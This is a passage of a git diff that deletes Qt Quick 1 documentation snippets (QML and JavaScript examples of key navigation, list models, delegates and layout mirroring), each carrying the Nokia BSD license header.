binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// script.js -Qt.include("factorial.js") - -function showCalculations(value) { - console.log("Call factorial() from script.js:", - factorial(value)); -} -//![0] diff --git a/doc/src/snippets/qtquick1/integrating-javascript/script.js b/doc/src/snippets/qtquick1/integrating-javascript/script.js deleted file mode 100644 index 006cf1aead..0000000000 --- a/doc/src/snippets/qtquick1/integrating-javascript/script.js +++ /dev/null @@ -1,47 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -// script.js - -function jsFunction() { - console.log("Called JavaScript function!") -} -//![0] - diff --git a/doc/src/snippets/qtquick1/keynavigation.qml b/doc/src/snippets/qtquick1/keynavigation.qml deleted file mode 100644 index d3013cbc75..0000000000 --- a/doc/src/snippets/qtquick1/keynavigation.qml +++ /dev/null @@ -1,84 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Grid { - width: 100; height: 100 - columns: 2 - - Rectangle { - id: topLeft - width: 50; height: 50 - color: focus ? "red" : "lightgray" - focus: true - - KeyNavigation.right: topRight - KeyNavigation.down: bottomLeft - } - - Rectangle { - id: topRight - width: 50; height: 50 - color: focus ? "red" : "lightgray" - - KeyNavigation.left: topLeft - KeyNavigation.down: bottomRight - } - - Rectangle { - id: bottomLeft - width: 50; height: 50 - color: focus ? "red" : "lightgray" - - KeyNavigation.right: bottomRight - KeyNavigation.up: topLeft - } - - Rectangle { - id: bottomRight - width: 50; height: 50 - color: focus ? "red" : "lightgray" - - KeyNavigation.left: bottomLeft - KeyNavigation.up: topRight - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/keys/keys-handler.qml b/doc/src/snippets/qtquick1/keys/keys-handler.qml deleted file mode 100644 index 8125f71932..0000000000 --- a/doc/src/snippets/qtquick1/keys/keys-handler.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - width: 400; height: 400 - -//! [key item] -Item { - anchors.fill: parent - focus: true - Keys.onLeftPressed: console.log("move left") -} -//! [key item] - -Text { - anchors.fill: parent - text: "Press a cursor key" - horizontalAlignment: Text.AlignHCenter - verticalAlignment: Text.AlignVCenter -} -} diff --git a/doc/src/snippets/qtquick1/keys/keys-pressed.qml b/doc/src/snippets/qtquick1/keys/keys-pressed.qml deleted file mode 100644 index b1fca5cd5e..0000000000 --- a/doc/src/snippets/qtquick1/keys/keys-pressed.qml +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - width: 400; height: 400 - -//! [key item] -Item { - anchors.fill: parent - focus: true - Keys.onPressed: { - if (event.key == Qt.Key_Left) { - console.log("move left"); - event.accepted = true; - } - } -} -//! [key item] - -Text { - anchors.fill: parent - text: "Press a cursor key" - horizontalAlignment: Text.AlignHCenter - verticalAlignment: Text.AlignVCenter -} -} diff --git a/doc/src/snippets/qtquick1/layoutmirroring.qml b/doc/src/snippets/qtquick1/layoutmirroring.qml deleted file mode 100644 index fa1852a91c..0000000000 --- a/doc/src/snippets/qtquick1/layoutmirroring.qml +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.1 - -Rectangle { - LayoutMirroring.enabled: true - LayoutMirroring.childrenInherit: true - - width: 300; height: 50 - color: "yellow" - border.width: 1 - - Row { - anchors { left: parent.left; margins: 5 } - y: 5; spacing: 5 - - Repeater { - model: 5 - - Rectangle { - color: "red" - opacity: (5 - index) / 5 - width: 40; height: 40 - - Text { - text: index + 1 - anchors.centerIn: parent - } - } - } - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/listmodel-modify.qml b/doc/src/snippets/qtquick1/listmodel-modify.qml deleted file mode 100644 index ad3a5c02ab..0000000000 --- a/doc/src/snippets/qtquick1/listmodel-modify.qml +++ /dev/null @@ -1,96 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - -ListModel { - id: fruitModel - - ListElement { - name: "Apple" - cost: 2.45 - attributes: [ - ListElement { description: "Core" }, - ListElement { description: "Deciduous" } - ] - } - ListElement { - name: "Orange" - cost: 3.25 - attributes: [ - ListElement { description: "Citrus" } - ] - } - ListElement { - name: "Banana" - cost: 1.95 - attributes: [ - ListElement { description: "Tropical" }, - ListElement { description: "Seedless" } - ] - } -} - -//![delegate] - Component { - id: fruitDelegate - Item { - width: 200; height: 50 - Text { text: name } - Text { text: '$' + cost; anchors.right: parent.right } - - // Double the price when clicked. - MouseArea { - anchors.fill: parent - onClicked: fruitModel.setProperty(index, "cost", cost * 2) - } - } - } -//![delegate] - -ListView { - width: 200; height: 200 - model: fruitModel - delegate: fruitDelegate -} - -} diff --git a/doc/src/snippets/qtquick1/listmodel-nested.qml b/doc/src/snippets/qtquick1/listmodel-nested.qml deleted file mode 100644 index 3cf1e71bfd..0000000000 --- a/doc/src/snippets/qtquick1/listmodel-nested.qml +++ /dev/null @@ -1,102 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - - -//![model] -ListModel { - id: fruitModel - - ListElement { - name: "Apple" - cost: 2.45 - attributes: [ - ListElement { description: "Core" }, - ListElement { description: "Deciduous" } - ] - } - ListElement { - name: "Orange" - cost: 3.25 - attributes: [ - ListElement { description: "Citrus" } - ] - } - ListElement { - name: "Banana" - cost: 1.95 - attributes: [ - ListElement { description: "Tropical" }, - ListElement { description: "Seedless" } - ] - } -} -//![model] - -//![delegate] -Component { - id: fruitDelegate - Item { - width: 200; height: 50 - Text { id: nameField; text: name } - Text { text: '$' + cost; anchors.left: nameField.right } - Row { - anchors.top: nameField.bottom - spacing: 5 - Text { text: "Attributes:" } - Repeater { - model: attributes - Text { text: description } - } - } - } -} -//![delegate] - -ListView { - width: 200; height: 200 - model: fruitModel - delegate: fruitDelegate -} - -} diff --git a/doc/src/snippets/qtquick1/listmodel-simple.qml b/doc/src/snippets/qtquick1/listmodel-simple.qml deleted file mode 100644 index 89ca2ae698..0000000000 --- a/doc/src/snippets/qtquick1/listmodel-simple.qml +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - - ListModel { - id: fruitModel -//![0] - ListElement { - name: "Apple" - cost: 2.45 - } - ListElement { - name: "Orange" - cost: 3.25 - } - ListElement { - name: "Banana" - cost: 1.95 - } -//![1] - } - - Component { - id: fruitDelegate - Row { - spacing: 10 - Text { text: name } - Text { text: '$' + cost } - } - } - - ListView { - anchors.fill: parent - model: fruitModel - delegate: fruitDelegate - } -} -//![1] diff --git a/doc/src/snippets/qtquick1/listmodel.qml b/doc/src/snippets/qtquick1/listmodel.qml deleted file mode 100644 index e5358e5c38..0000000000 --- a/doc/src/snippets/qtquick1/listmodel.qml +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -ListModel { - id: fruitModel - - ListElement { - name: "Apple" - cost: 2.45 - } - ListElement { - name: "Orange" - cost: 3.25 - } - ListElement { - name: "Banana" - cost: 1.95 - } -} -//![0] diff --git a/doc/src/snippets/qtquick1/listview-decorations.qml b/doc/src/snippets/qtquick1/listview-decorations.qml deleted file mode 100644 index a084d54ca4..0000000000 --- a/doc/src/snippets/qtquick1/listview-decorations.qml +++ /dev/null @@ -1,111 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -//! [parent begin] -Rectangle { -//! [parent begin] - width: 550; height: 220; color: "white" - -//! [model] -ListModel { - id: nameModel - ListElement { name: "Alice" } - ListElement { name: "Bob" } - ListElement { name: "Jane" } - ListElement { name: "Harry" } - ListElement { name: "Wendy" } -} -//! [model] - -//! [delegate] -Component { - id: nameDelegate - Text { - text: name; - font.pixelSize: 24 - } -} -//! [delegate] - -//! [decorations] -ListView { - anchors.fill: parent - clip: true - model: nameModel - delegate: nameDelegate - header: bannercomponent - footer: Rectangle { - width: parent.width; height: 30; - gradient: clubcolors - } - highlight: Rectangle { - width: parent.width - color: "lightgray" - } -} - -Component { //instantiated when header is processed - id: bannercomponent - Rectangle { - id: banner - width: parent.width; height: 50 - gradient: clubcolors - border {color: "#9EDDF2"; width: 2} - Text { - anchors.centerIn: parent - text: "Club Members" - font.pixelSize: 32 - } - } -} -Gradient { - id: clubcolors - GradientStop { position: 0.0; color: "#8EE2FE"} - GradientStop { position: 0.66; color: "#7ED2EE"} -} -//! [decorations] - -//! [parent end] -} -//! [parent end] -//! [document] diff --git a/doc/src/snippets/qtquick1/listview-sections.qml b/doc/src/snippets/qtquick1/listview-sections.qml deleted file mode 100644 index aaf0cae901..0000000000 --- a/doc/src/snippets/qtquick1/listview-sections.qml +++ /dev/null @@ -1,101 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF 